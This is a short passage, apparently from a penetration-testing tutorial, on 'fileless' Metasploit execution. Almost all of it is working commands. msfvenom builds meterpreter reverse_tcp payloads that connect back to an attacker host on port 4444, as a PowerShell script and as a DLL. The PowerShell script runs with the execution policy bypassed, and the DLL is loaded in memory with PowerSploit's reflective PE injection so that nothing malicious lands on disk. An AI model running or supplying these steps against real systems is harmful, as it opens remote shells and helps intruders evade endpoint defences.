16. Metasploit Fileless Execution Techniques
These techniques eliminate writing malicious files to the disk.
A. PowerShell Payloads
Generate a PowerShell-compatible payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f ps1 -o payload.ps1
Execute directly:
powershell -ExecutionPolicy Bypass -File payload.ps1
B. Reflective DLL Injection
-
Generate a DLL payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f dll -o payload.dll
-
Use a reflective loader like PowerSploit:
Import-Module Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEBytes (Get-Content payload.dll -Raw)